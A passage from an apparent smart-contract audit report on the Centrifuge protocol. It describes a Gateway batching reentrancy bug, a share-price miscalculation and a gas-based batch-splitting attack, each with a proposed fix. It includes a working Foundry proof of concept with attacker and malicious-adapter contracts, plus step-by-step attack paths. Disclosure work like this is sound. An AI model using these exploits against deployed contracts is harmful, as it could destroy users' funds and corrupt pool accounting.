    (bool success, bytes memory returnData) = msg.sender.call{value:
    ↪  callbackValue}(data);
    if (!success) {
        uint256 length = returnData.length;
        require(length != 0, CallFailedWithEmptyRevert());

        assembly ("memory-safe") {
            revert(add(32, returnData), length)
        }
    }

    // Force the user to call lockCallback()
    require(address(_batcher) == address(0), CallbackWasNotLocked());

    if (isNested) {
        _refund(refund, msg.value - callbackValue);
    } else {
        uint256 cost = _endBatching(msg.value - callbackValue, refund);
        _refund(refund, msg.value - callbackValue - cost);
    }
}
```

During the callback, messages are added via `Gateway.send()`. When `isBatching == true`,

messages are appended to transient storage and their locators are tracked:

Gateway.sol#L141-L171

```
function send(uint16 centrifugeId, bytes calldata message, uint128 extraGasLimit,
↪  address refund)
    external
    payable
    pauseable
    auth
{
    require(message.length > 0, EmptyMessage());

    PoolId poolId = processor.messagePoolId(message);
    emit PrepareMessage(centrifugeId, poolId, message);

    uint128 gasLimit = messageLimits.messageGasLimit(centrifugeId, message) +
    ↪  extraGasLimit;
    if (isBatching) {
        require(msg.value == 0, NotPayable());
        bytes32 batchSlot = _outboundBatchSlot(centrifugeId, poolId);
        bytes memory previousMessage = TransientBytesLib.get(batchSlot);

        bytes32 gasLimitSlot = _gasLimitSlot(centrifugeId, poolId);
        uint128 newGasLimit = gasLimitSlot.tloadUint128() + gasLimit;
        gasLimitSlot.tstore(uint256(newGasLimit));

        if (previousMessage.length == 0) {
            TransientArrayLib.push(BATCH_LOCATORS_SLOT,
            ↪  _encodeLocator(centrifugeId, poolId));
        }

        TransientBytesLib.append(batchSlot, message);
    } else {
        uint256 cost = _send(centrifugeId, message, gasLimit, refund, msg.value);
        _refund(refund, msg.value - cost);
    }
}
```

The critical vulnerability occurs in `_endBatching()`. This function copies locators to memory, clears the transient array, then iterates over the memory copy:

Gateway.sol#L258-L277

```
function _endBatching(uint256 fuel, address refund) internal returns (uint256 cost)
↪ {
    require(isBatching, NoBatched());
    bytes32[] memory locators = TransientArrayLib.getBytes32(BATCH_LOCATORS_SLOT);

    TransientArrayLib.clear(BATCH_LOCATORS_SLOT);

    for (uint256 i; i < locators.length; i++) {
        (uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
        bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
        uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();
        bytes memory batch = TransientBytesLib.get(outboundBatchSlot);

        cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);

        TransientBytesLib.clear(outboundBatchSlot);
        _gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
    }

    isBatching = false;
}
```

The vulnerability exists in this sequence:

1. Line 260: Locators copied to memory
2. Line 262: `BATCH_LOCATORS_SLOT` cleared in transient storage
3. Line 264-274: Loop iterates over memory copy
4. Line 270: `_send()` calls `adapter.send()` with external call
5. Line 276: `isBatching` set to `false` only AFTER loop completes

During step 4, a malicious adapter can reenter. At this point:

- `isBatching` is still `true` (not set to `false` until line 276)

- `BATCH_LOCATORS_SLOT` is empty in transient storage (cleared at line 262)
- The function is iterating over a stale memory copy of locators

When the malicious adapter reenters `Gateway.send()`, the check `if (isBatching)` passes, allowing new messages to be added. These messages create new locators in the now-empty `BATCH_LOCATORS_SLOT`. However, `_endBatching()` never processes these new locators because it continues iterating over its stale memory copy.

When the transaction ends, all transient storage is cleared, permanently destroying the messages that were created during reentrancy.

Attack Mechanism

An attacker exploits this vulnerability by:

1. Creating an attacker-controlled pool and configuring it with a malicious adapter
2. Calling `gateway.withBatch()` to initiate a batch
3. In the callback, sending a dummy message to populate a specific batch slot (e.g., for `POOL_A`)
4. Sending a message using the attacker pool, triggering the malicious adapter
5. When `_endBatching()` processes the attacker pool's message, the malicious adapter reenters
6. During reentrancy, calling `queueManager.sync()` which creates critical `UpdateHoldingAmount` messages
7. These critical messages are added to the same batch slot populated in step 3
8. `_endBatching()` continues with its stale locators, never sending the critical messages
9. Transaction ends, transient storage cleared, critical messages permanently lost

The attacker deploys a malicious adapter that implements `IAdapter.send()` to trigger the reentrancy:

```
contract MaliciousAdapter is IAdapter {
    ReentrancyAttacker public attackerContract;
```

```
    uint256 public callCount;

    function send(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit,
    ↪  address refund)
        external
        payable
        override
        returns (bytes32)
    {
        callCount++;
        if (callCount == 1) {
            attackerContract.reentrantCallback();
        }
        return bytes32(0);
    }
}
```

The reentrancy creates critical accounting synchronization messages that are permanently lost. For example, `queueManager.sync()` creates `UpdateHoldingAmount` messages via nested batching:

QueueManager.sol#L56-L78

```
function sync(PoolId poolId, ShareClassId scId, AssetId[] calldata assetIds,
↪  address refund) external payable {
    gateway.withBatch{
        value: msg.value
    }(abi.encodeWithSelector(QueueManager.syncCallback.selector, poolId, scId,
    ↪  assetIds), refund);
}

function syncCallback(PoolId poolId, ShareClassId scId, AssetId[] calldata
↪  assetIds) external {
    gateway.lockCallback();

    ShareClassQueueState storage sc = scQueueState[poolId][scId];
    require(sc.lastSync == 0 || block.timestamp >= sc.lastSync + sc.minDelay,
    ↪  MinDelayNotElapsed());
```

```
    for (uint256 i = 0; i < assetIds.length; i++) {
        bytes32 key = keccak256(abi.encode(poolId.raw(), scId.raw(),
        ↪  assetIds[i].raw()));
        if (TransientStorageLib.tloadBool(key)) continue; // Skip duplicate
        TransientStorageLib.tstore(key, true);

        // Check if valid
        (uint128 deposits, uint128 withdrawals) = balanceSheet.queuedAssets(poolId,
        ↪  scId, assetIds[i]);
        if (deposits > 0 || withdrawals > 0) {
            balanceSheet.submitQueuedAssets(poolId, scId, assetIds[i],
            ↪  sc.extraGasLimit, address(0));
        }
    }
    ... snip
}
```

When `queueManager.sync()` is called during reentrancy, it sees `isBatching == true` (because `_endBatching()` hasn't completed yet). This triggers the nested batch logic in `withBatch()`:

Gateway.sol#L250-L251

```
if (isNested) {
    _refund(refund, msg.value - callbackValue);
```

The nested batch adds messages to transient storage without calling `_endBatching()`. These messages update the `BATCH_LOCATORS_SLOT` that was already cleared. The original `_endBatching()` loop never sees these new locators because it's iterating over its stale memory copy.

Impact

A malicious pool manager can cause permanent loss of critical messages for any other pool. Since messages exist only in transient storage, when the transaction ends they are permanently destroyed with no recovery mechanism.

The POC demonstrates `UpdateHoldingAmount` message loss, which causes pool

accounting desynchronization between Hub and Spoke chains. Queued deposits are consumed on the Spoke but the Hub never receives notification, creating permanent accounting divergence. These messages include a nonce, so losing a single message permanently blocks all subsequent accounting updates due to nonce ordering requirements. However, any message type can be targeted by choosing when to trigger reentrancy during the batch send loop.

Loss of `NotifyDepositExecuted` or `NotifyRedeemExecuted` messages prevents users from claiming their shares or assets even though their requests were processed on the Hub. Loss of `ExecuteTransferShares` messages during spoke-to-spoke transfers causes permanent share loss where shares are burned on the source spoke but never minted on the destination spoke. In general this attack can target a host of permissionless message, many with critical impacts from being lost.

Proof of Concept

Add the following file to `protocol/test`:

```
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {IAdapter} from "../src/core/messaging/interfaces/IAdapter.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IHub} from "../src/core/hub/interfaces/IHub.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId, newPoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from
↪  "../src/core/messaging/libraries/MessageLib.sol";
import "forge-std/console.sol";

/**
 * @notice Malicious adapter that reenters Gateway during message sending
 */
```

```
contract MaliciousAdapter is IAdapter {
    ReentrancyAttacker public attackerContract;
    uint256 public callCount;

    constructor(address _attackerContract) {
        attackerContract = ReentrancyAttacker(payable(_attackerContract));
    }

    function send(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit,
    ↪  address refund)
        external
        payable
        override
        returns (bytes32)
    {
        callCount++;

        if (callCount == 1) {
            console.log(">>> Entering malicious adapter - triggering reentrancy");
            attackerContract.reentrantCallback();
        }

        return bytes32(0);
    }

    function estimate(uint16 centrifugeId, bytes calldata payload, uint256 gasLimit)
        external
        view
        override
        returns (uint256)
    {
        return 0.1 ether;
    }
}

/**
 * @notice Attacker contract that orchestrates the reentrancy attack
 */
```

```
contract ReentrancyAttacker {
    IGateway public gateway;
    ISpoke public spoke;
    IQueueManager public queueManager;
    PoolId public poolId;
    PoolId public attackerPoolId;
    ShareClassId public scId;
    AssetId[] public assetIds;
    address public dummyTarget;

    constructor(
        address _gateway,
        address _spoke,
        address _queueManager,
        PoolId _poolId,
        PoolId _attackerPoolId,
        ShareClassId _scId
    ) {
        gateway = IGateway(_gateway);
        spoke = ISpoke(_spoke);
        queueManager = IQueueManager(_queueManager);
        poolId = _poolId;
        attackerPoolId = _attackerPoolId;
        scId = _scId;
        dummyTarget = address(0xdead);
    }

    function setAssetIds(AssetId[] memory _assetIds) external {
        delete assetIds;
        for (uint i = 0; i < _assetIds.length; i++) {
            assetIds.push(_assetIds[i]);
        }
    }

    receive() external payable {}

    function executeAttack() external payable {
        gateway.withBatch{value: msg.value}(
```

```
            abi.encodeWithSelector(this.initialBatchCallback.selector),
            address(this)
        );
    }

    function initialBatchCallback() external {
        console.log(">>> Entering initial batch callback");
        gateway.lockCallback();

        // Populate batch slot with dummy message
        console.log("  - Sending dummy message to populate batch slot");
        spoke.updateContract{value: 0}(poolId, scId, bytes32(bytes20(dummyTarget)),
        ↪  "", 0, address(this));

        // Trigger malicious adapter
        console.log("  - Sending message via attacker pool (triggers malicious
        ↪  adapter)");
        spoke.updateContract{value: 0}(attackerPoolId, scId,
        ↪  bytes32(bytes20(dummyTarget)), "", 0, address(this));
    }

    function reentrantCallback() external {
        console.log(">>> Entering reentrant callback (during
        ↪  Gateway._endBatching)");
        // Create critical messages during reentrancy
        // These will be added to transient storage but missed by stale locators
        console.log("  - Creating critical UpdateHoldingAmount messages via
        ↪  queueManager.sync()");
        queueManager.sync{value: 0}(poolId, scId, assetIds, address(this));
        console.log("  - Messages created but will be lost due to stale
        ↪  locators\n");
    }
}

contract ReentrancyBatchLossTest is BaseTest {
    using MessageLib for *;
    using BytesLib for bytes;
```

```
    MaliciousAdapter public maliciousAdapter;
    ReentrancyAttacker public attacker;
    ShareClassId defaultTypedShareClassId;
    PoolId attackerPool;

    function setUp() public override {
        super.setUp();

        defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
        balanceSheet.updateManager(POOL_A, address(queueManager), true);

        attackerPool = newPoolId(OTHER_CHAIN_ID, 999);

        address asset1 = address(erc20);
        address asset2 = address(new ERC20(6));

        (,, uint128 createdAssetId1) =
            deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0),
            ↪  defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
        (,, uint128 createdAssetId2) =
            deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0),
            ↪  defaultShareClassId, asset2, 0, THIS_CHAIN_ID);

        attacker = new ReentrancyAttacker(
            address(gateway), address(spoke), address(queueManager), POOL_A,
            ↪  attackerPool, defaultTypedShareClassId
        );

        AssetId[] memory assets = new AssetId[](2);
        assets[0] = AssetId.wrap(createdAssetId1);
        assets[1] = AssetId.wrap(createdAssetId2);
        attacker.setAssetIds(assets);

        maliciousAdapter = new MaliciousAdapter(address(attacker));

        IAdapter[] memory maliciousAdapters = new IAdapter[](1);
        maliciousAdapters[0] = IAdapter(address(maliciousAdapter));
```

```
        multiAdapter.setAdapters(OTHER_CHAIN_ID, attackerPool, maliciousAdapters,
        ↪  1, 0);

        erc20.mint(address(asyncRequestManager), 1000e18);
        vm.prank(address(asyncRequestManager));
        erc20.approve(address(balanceSheet), 1000e18);
        vm.prank(address(asyncRequestManager));
        balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);

        balanceSheet.updateManager(POOL_A, address(attacker), true);
    }

    function _parseSentBatch() internal view returns (uint256 totalSent, uint256
    ↪  dummyMessages, uint256 criticalMessages) {
        bytes memory sentBatch = adapter1.values_bytes("send");
        bytes memory remaining = sentBatch;

        while (remaining.length > 0) {
            uint256 length = gateway.processor().messageLength(remaining);
            bytes memory message = remaining.slice(0, length);
            MessageType msgType = MessageLib.messageType(message);

            if (msgType == MessageType.UntrustedContractUpdate) {
                dummyMessages++;
            } else if (msgType == MessageType.UpdateHoldingAmount) {
                criticalMessages++;
            }
            totalSent++;

            remaining = remaining.slice(length, remaining.length - length);
        }
    }

    /**
     * Attack flow:
     * 1. Create initial batch with dummy message to populate batch slot
     * 2. Include message using attacker pool with malicious adapter
     * 3. During _endBatching(), malicious adapter reenters
```

```
     * 4. Reentrant call creates critical messages in same batch slot
     * 5. Gateway uses stale memory locators, misses new messages
     * 6. Transaction ends, transient storage cleared, messages LOST
     */
    /// forge-config: default.isolate = true
    function testReentrancyBatchLoss() public {
        console.log("\n=== REENTRANCY BATCH LOSS ATTACK ===\n");

        AssetId[] memory assets = new AssetId[](2);
        assets[0] = attacker.assetIds(0);
        assets[1] = attacker.assetIds(1);

        // Capture expected message using snapshot
        uint256 snapshot = vm.snapshotState();
        queueManager.sync{value: 100 ether}(POOL_A, defaultTypedShareClassId,
        ↪  assets, address(this));
        bytes memory expectedMessage = adapter1.values_bytes("send");
        bytes32 expectedMessageHash = keccak256(expectedMessage);
        vm.revertToState(snapshot);

        console.log("Expected message hash:", vm.toString(expectedMessageHash),
        ↪  "\n");

        (uint128 depositsBefore, ) = balanceSheet.queuedAssets(POOL_A,
        ↪  defaultTypedShareClassId, assets[0]);
        console.log("Deposits before attack:", depositsBefore);

        attacker.executeAttack{value: 100 ether}();

        (uint128 depositsAfter, ) = balanceSheet.queuedAssets(POOL_A,
        ↪  defaultTypedShareClassId, assets[0]);
        console.log("Deposits after attack:", depositsAfter);

        uint256 expectedMessageSentCount = adapter1.sent(expectedMessage);
        console.log("Expected message sent count:", expectedMessageSentCount, "\n");

        (uint256 totalSent, uint256 dummyMessages, uint256 criticalMessages) =
        ↪  _parseSentBatch();
```

```
        console.log("Messages sent:");
        console.log("  Total:", totalSent);
        console.log("  Dummy (UntrustedContractUpdate):", dummyMessages);
        console.log("  Critical (UpdateHoldingAmount):", criticalMessages);
        console.log("\nATTACK SUCCESSFUL - Critical messages lost!\n");

        assertEq(criticalMessages, 0, "Critical messages should be lost");
        assertGt(dummyMessages, 0, "Dummy messages should be sent");
        assertEq(depositsAfter, 0, "Deposits should be consumed");
        assertGt(depositsBefore, 0, "Should have had deposits before");
        assertEq(expectedMessageSentCount, 0, "Expected message should never be
        ↪  sent");
    }
}
```

Code Snippet

Vulnerable code - stale memory locators and reentrancy window:

- Gateway.sol#L258-L277

Tool Used

Manual Review

Recommendation

Add an `isSending` reentrancy guard to prevent adapters from reentering the Gateway during batch processing. When `isSending` is active, `withBatch()` should revert to prevent nested batch creation during the send loop:

```
contract Gateway is Auth, Recoverable, IGateway {
    ... snip

    // Outbound & payments
    bool public transient isBatching;
```

```
+   bool public transient isSending;
    bool public transient unpaidMode;
    address internal transient _batcher;

    ... snip

    function withBatch(bytes memory data, uint256 callbackValue, address refund)
    ↪  public payable {
        require(callbackValue <= msg.value, NotEnoughValueForCallback());
+       require(!isSending, ReentrantBatchCreation());

        bool isNested = isBatching;
        isBatching = true;

        _batcher = msg.sender;
        (bool success, bytes memory returnData) = msg.sender.call{value:
        ↪  callbackValue}(data);
        if (!success) {
            uint256 length = returnData.length;
            require(length != 0, CallFailedWithEmptyRevert());

            assembly ("memory-safe") {
                revert(add(32, returnData), length)
            }
        }

        // Force the user to call lockCallback()
        require(address(_batcher) == address(0), CallbackWasNotLocked());

        if (isNested) {
            _refund(refund, msg.value - callbackValue);
        } else {
            uint256 cost = _endBatching(msg.value - callbackValue, refund);
            _refund(refund, msg.value - callbackValue - cost);
        }
    }
```

```
    function _endBatching(uint256 fuel, address refund) internal returns (uint256
    ↪  cost) {
        require(isBatching, NoBatched());
        bytes32[] memory locators =
        ↪  TransientArrayLib.getBytes32(BATCH_LOCATORS_SLOT);

        TransientArrayLib.clear(BATCH_LOCATORS_SLOT);

+       isSending = true; // Set guard before external calls

        for (uint256 i; i < locators.length; i++) {
            (uint16 centrifugeId, PoolId poolId) = _parseLocator(locators[i]);
            bytes32 outboundBatchSlot = _outboundBatchSlot(centrifugeId, poolId);
            uint128 gasLimit = _gasLimitSlot(centrifugeId, poolId).tloadUint128();
            bytes memory batch = TransientBytesLib.get(outboundBatchSlot);

            cost += _send(centrifugeId, batch, gasLimit, refund, fuel - cost);

            TransientBytesLib.clear(outboundBatchSlot);
            _gasLimitSlot(centrifugeId, poolId).tstore(uint256(0));
        }

+       isSending = false; // Clear guard after loop
        isBatching = false;
    }
}
```

Issue M-7: Prices computed in SimplePriceManager is off even after `BatchRequestManager#revokeShares()` is called

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/712

Found by

0xpiken, 6PottedL, Auditten, Cybrid, LeFy, TessKimy

Summary

It is stated in the Known issues that:

> Prices computed in SimplePriceManager may be off if approve and issue or approve and revoke are called separately, as then assets and shares are imbalanced.

However, this could happen even if BatchRequestManager#revokeShares() has been called.

During the process of revoking shares, AsyncRequestManager#revokedShares() will be called on the spoke chain:

```
    function revokedShares(
        PoolId poolId,
        ShareClassId scId,
        AssetId assetId,
        uint128 assetAmount,
        uint128 shareAmount,
        D18 pricePoolPerShare
    ) public auth {
        // Lock assets to ensure they are not withdrawn and are available for the
        ↪  redeeming user
        (address asset, uint256 tokenId) = spoke.idToAsset(assetId);
        balanceSheet.reserve(poolId, scId, asset, tokenId, assetAmount);
```

```
        globalEscrow.authTransferTo(address(spoke.shareToken(poolId, scId)), 0,
        ↪  address(this), shareAmount);
        balanceSheet.overridePricePoolPerShare(poolId, scId, pricePoolPerShare);
@>      balanceSheet.revoke(poolId, scId, shareAmount);
        balanceSheet.resetPricePoolPerShare(poolId, scId);
    }
```

BalanceSheet#revoke() will be called to burn shares and trigger `shareQueue` updating:

```
function revoke(PoolId poolId, ShareClassId scId, uint128 shares) external payable
↪  isManager(poolId) {
    emit Revoke(poolId, scId, msgSender(), _pricePoolPerShare(poolId, scId),
    ↪  shares);

    ShareQueueAmount storage shareQueue = queuedShares[poolId][scId];
    if (!shareQueue.isPositive) {
        shareQueue.delta += shares;
    } else if (shareQueue.delta > shares) {
        shareQueue.delta -= shares;
    } else {
        shareQueue.delta = shares - shareQueue.delta;
        shareQueue.isPositive = false;
    }

    IShareToken token = spoke.shareToken(poolId, scId);
    token.authTransferFrom(msgSender(), msgSender(), address(this), shares);
    token.burn(address(this), shares);
}
```

Anyone can call QueueManager#sync() to sync the share balance updating to the `NAVManager` on hub chain:

```
    function sync(PoolId poolId, ShareClassId scId, AssetId[] calldata assetIds,
    ↪  address refund) external payable {
        gateway.withBatch{
            value: msg.value
```

```
        }(abi.encodeWithSelector(QueueManager.syncCallback.selector, poolId, scId,
        ↪  assetIds), refund);
    }

    function syncCallback(PoolId poolId, ShareClassId scId, AssetId[] calldata
    ↪  assetIds) external {
        gateway.lockCallback();

        ShareClassQueueState storage sc = scQueueState[poolId][scId];
        require(sc.lastSync == 0 || block.timestamp >= sc.lastSync + sc.minDelay,
        ↪  MinDelayNotElapsed());

        for (uint256 i = 0; i < assetIds.length; i++) {
            bytes32 key = keccak256(abi.encode(poolId.raw(), scId.raw(),
            ↪  assetIds[i].raw()));
            if (TransientStorageLib.tloadBool(key)) continue; // Skip duplicate
            TransientStorageLib.tstore(key, true);

            // Check if valid
            (uint128 deposits, uint128 withdrawals) =
            ↪  balanceSheet.queuedAssets(poolId, scId, assetIds[i]);
            if (deposits > 0 || withdrawals > 0) {
                balanceSheet.submitQueuedAssets(poolId, scId, assetIds[i],
                ↪  sc.extraGasLimit, address(0));
            }
        }

@>      (uint128 delta,, uint32 queuedAssetCounter,) =
↪  balanceSheet.queuedShares(poolId, scId);
@>      bool submitShares = delta > 0 && queuedAssetCounter == 0;

        if (submitShares) {
@>          balanceSheet.submitQueuedShares(poolId, scId, sc.extraGasLimit,
↪  address(0));
            sc.lastSync = uint64(block.timestamp);
        }
    }
```

NAVManager#onSync() will be called subsequently:

```
    function onSync(PoolId poolId, ShareClassId scId, uint16 centrifugeId) external
    ↪  {
        require(msg.sender == address(holdings), NotAuthorized());
        require(address(navHook[poolId]) != address(0), InvalidNAVHook());

@>      uint128 netAssetValue_ = netAssetValue(poolId, centrifugeId);
        navHook[poolId].onUpdate(poolId, scId, centrifugeId, netAssetValue_);

        emit Sync(poolId, scId, centrifugeId, netAssetValue_);
    }
```

SimplePriceManager#onUpdate() is called to calculate `pricePoolPerShare` and notified it to all eligible spoke chains. Any eligible user can mint new shares with this latest `pricePoolPerShare` immediately if the asset vault is a sync vault.

```
    /// @inheritdoc INAVHook
    function onUpdate(PoolId poolId, ShareClassId scId, uint16 centrifugeId,
    ↪  uint128 netAssetValue) public virtual {
        require(msg.sender == navUpdater, NotAuthorized());
        require(scId.index() == 1, InvalidShareClass());

        gateway.withBatch(
            abi.encodeWithSelector(
                SimplePriceManager.onUpdateCallback.selector, poolId, scId,
                ↪  centrifugeId, netAssetValue
            ),
            address(0)
        );
    }

    function onUpdateCallback(PoolId poolId, ShareClassId scId, uint16
    ↪  centrifugeId, uint128 netAssetValue) external {
        gateway.lockCallback();

        NetworkMetrics storage networkMetrics_ =
        ↪  networkMetrics[poolId][centrifugeId];
        Metrics storage metrics_ = metrics[poolId];
```

```
        uint128 newIssuance = shareClassManager.issuance(poolId, scId,
        ↪  centrifugeId);

        // When shares are transferred, the issuance in the SCM updates immediately,
        // but in this contract they are tracked separately as transferredIn/Out.
        // Here we get the diff between the current stale SPM issuance and the new
        ↪  SCM issuance,
        // but we need to negate the transferred amounts to avoid double-counting
        ↪  them in the global issuance.
        // This adjusted diff is then applied to the global issuance.
        (uint128 issuanceDelta, bool isIncrease) = _calculateIssuanceDelta(
            networkMetrics_.issuance, newIssuance, networkMetrics_.transferredIn,
            ↪  networkMetrics_.transferredOut
        );

        metrics_.issuance = isIncrease ? metrics_.issuance + issuanceDelta :
        ↪  metrics_.issuance - issuanceDelta;

        metrics_.netAssetValue = metrics_.netAssetValue + netAssetValue -
        ↪  networkMetrics_.netAssetValue;
        networkMetrics_.netAssetValue = netAssetValue;
        networkMetrics_.issuance = newIssuance;
        networkMetrics_.transferredIn = 0;
        networkMetrics_.transferredOut = 0;

@>      D18 pricePoolPerShare_ = pricePoolPerShare(poolId);//@audit-info calculate
↪  new share price
@>      hub.updateSharePrice(poolId, scId, pricePoolPerShare_,
↪  uint64(block.timestamp));

        uint16[] storage networks_ = _notifiedNetworks[poolId];
@>      for (uint256 i; i < networks_.length; i++) {
@>          hub.notifySharePrice(poolId, scId, networks_[i],
↪  address(0));//@audit-info notify new share price to all spoke chains.
@>      }

        emit Update(poolId, scId, metrics_.netAssetValue, metrics_.issuance,
        ↪  pricePoolPerShare_);
```

```
    }

    function pricePoolPerShare(PoolId poolId) public view returns (D18) {
        Metrics memory metrics_ = metrics[poolId];
@>      return metrics_.issuance == 0 ? d18(1, 1) : d18(metrics_.netAssetValue) /
↪   d18(metrics_.issuance);
    }
```

However, while the total supply of shares will decrease following shares burning, `netAssetValue_` might not change because there is no `assetQueue` updating at the moment. As a result, `pricePoolPerShare` might be higher than expected, If someone mint shares at this moment, they will pay more assets for less shares.

Root Cause

When shares are revoked on the spoke chain, the corresponding redeemed assets are not withdrawn concurrently.

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

No response

Impact

`pricePoolPerShare` is off and anyone who mint shares just after shares revoking could pay more assets for less shares.

Mitigation

Transfer the redeemed assets to `globalEscrow` directly when revoking shares on spoke chain. Assets will be transferred from `globalEscrow` to the receiver when an eligible user call `redeem()` or `withdraw()` to withdraw their assets.

```
    function revokedShares(
        PoolId poolId,
        ShareClassId scId,
        AssetId assetId,
        uint128 assetAmount,
        uint128 shareAmount,
        D18 pricePoolPerShare
    ) public auth {
        // Lock assets to ensure they are not withdrawn and are available for the
        ↪  redeeming user
        (address asset, uint256 tokenId) = spoke.idToAsset(assetId);
-       balanceSheet.reserve(poolId, scId, asset, tokenId, assetAmount);
+       balanceSheet.withdraw(poolId, scId, asset, tokenId, address(globalEscrow),
↪  assetAmount);

        globalEscrow.authTransferTo(address(spoke.shareToken(poolId, scId)), 0,
        ↪  address(this), shareAmount);
        balanceSheet.overridePricePoolPerShare(poolId, scId, pricePoolPerShare);
        balanceSheet.revoke(poolId, scId, shareAmount);
        balanceSheet.resetPricePoolPerShare(poolId, scId);
    }

    function _withdraw(IBaseVault vault_, address receiver, uint128 assets)
    ↪  internal {
        VaultDetails memory vaultDetails = vaultRegistry.vaultDetails(vault_);

        PoolId poolId = vault_.poolId();
        ShareClassId scId = vault_.scId();

-       balanceSheet.unreserve(poolId, scId, vaultDetails.asset,
↪  vaultDetails.tokenId, assets);
-       balanceSheet.withdraw(poolId, scId, vaultDetails.asset,
↪  vaultDetails.tokenId, receiver, assets);
```

```
+       globalEscrow.authTransferTo(vaultDetails.asset, vaultDetails.tokenId,
↪  receiver, assets);
    }
```

Issue M-8: Gas engineering during `adapter` execution can be used to maliciously split critical message batches

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/714

Found by

0x52, 0xeix, typicalHuman

Summary

An attacker can maliciously split batched messages that must execute atomically by providing a targeted gas amount during cross-chain message delivery. Pool managers are expected to use batched multicalls to send approve and issue messages together to maintain pool accounting integrity, but the `AxelarAdapter` lacks access controls and gas validation, allowing anyone to execute these batches with controlled gas amounts that cause only partial execution. This breaks the protocol's documented assumption that these operations are atomic, leading to asset/share imbalances that corrupt `SimplePriceManager` calculations.

Root Cause

AxelarAdapter.sol#L67-L84 - The `execute()` function is permissionless and accepts any gas amount without validation, allowing attackers to control execution conditions

Vulnerability Detail

Pool managers are expected to use a `batchedMulticall` on the `BatchRequestManager` to send these operations together atomically. The `approveDeposits()` function sends the approve message:

BatchRequestManager.sol#L243-L245

```
bytes memory callback =
    RequestCallbackMessageLib.ApprovedDeposits(approvedAssetAmount,
    ↪  pricePoolPerAsset.raw()).serialize();
hub.requestCallback{value: msgValue()}(poolId, scId_, depositAssetId, callback, 0,
↪  refund);
```

The `issueShares()` function sends the issue message:

BatchRequestManager.sol#L325-L327

```
bytes memory callback =
    RequestCallbackMessageLib.IssuedShares(issuedShareAmount,
    ↪  pricePoolPerShare.raw()).serialize();
hub.requestCallback{value: msgValue()}(poolId, scId_, depositAssetId, callback,
↪  extraGasLimit, refund);
```

Pool managers must batch both function calls using `Gateway.withBatch()` to ensure the messages travel together to the destination chain. However, the `AxelarAdapter` that receives and executes these messages has no access control:

AxelarAdapter.sol#L67-L84

```
function execute(
    bytes32 commandId,
    string calldata sourceAxelarId,
    string calldata sourceAddress,
    bytes calldata payload
) public {
    AxelarSource memory source = sources[sourceAxelarId];
    require(
        source.addressHash != bytes32("") && source.addressHash ==
        ↪  keccak256(bytes(sourceAddress)), InvalidAddress()
    );

    require(
        axelarGateway.validateContractCall(commandId, sourceAxelarId,
        ↪  sourceAddress, keccak256(payload)),
        NotApprovedByGateway()
```

```
    );

    entrypoint.handle(source.centrifugeId, payload);
}
```

The function is `public` with no access modifiers, allowing anyone to call it. The adapter forwards the message to the `MultiAdatpter` -> `Gateway` which processes batched messages individually:

Gateway.sol#L98-L123

```
function handle(uint16 centrifugeId, bytes memory batch) public pauseable auth {
    PoolId batchPoolId = processor.messagePoolId(batch);
    bytes memory remaining = batch;

    while (remaining.length > 0) {
        uint256 length = processor.messageLength(remaining);
        bytes memory message = remaining.slice(0, length);

        // ... validation ...

        require(gasleft() > GAS_FAIL_MESSAGE_STORAGE, NotEnoughGasToProcess());

        try processor.handle{gas: gasleft() -
        ↪  GAS_FAIL_MESSAGE_STORAGE}(centrifugeId, message) {
            emit ExecuteMessage(centrifugeId, message, messageHash);
        } catch (bytes memory err) {
            failedMessages[centrifugeId][messageHash]++;
            emit FailMessage(centrifugeId, message, messageHash, err);
        }
    }
}
```

The `Gateway` processes each message in a try-catch block. When a message fails due to insufficient gas, it gets stored in `failedMessages` rather than reverting the entire batch. This allows partial execution where some messages succeed while others fail.

The most damaging exploitation occurs with sync vaults when splitting approve and revoke messages for redeems:

1. Monitor for approve+revoke redeem message batches sent by pool managers
2. Call `AxelarAdapter.execute()` with gas sufficient only for the approve message
3. The approve succeeds, removing assets from the pool and sending them to redeemers
4. The revoke fails and gets stored in `failedMessages`, leaving shares un-burned
5. Pool now has fewer assets but the same number of shares, artificially lowering share price
6. Attacker immediately deposits through the sync vault at the manipulated low price
7. Attacker receives significantly more shares than they should for their deposit amount

This attack is particularly effective because sync vaults allow immediate deposits at the corrupted price, enabling instant profit extraction.

Proof of Concept

Add the following file to `protocol/test`:

```
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {RequestCallbackMessageLib} from
↪  "../src/vaults/libraries/RequestCallbackMessageLib.sol";
import {MessageLib} from "../src/core/messaging/libraries/MessageLib.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {AsyncVault} from "../src/vaults/AsyncVault.sol";
import {D18, d18} from "../src/misc/types/D18.sol";
import "forge-std/console.sol";

/**
 * @notice POC demonstrating batch splitting attack
 * Even though BatchRequestManager sends approve+issue together,
 * insufficient gas can cause only approve to execute while issue fails
```

```
 */
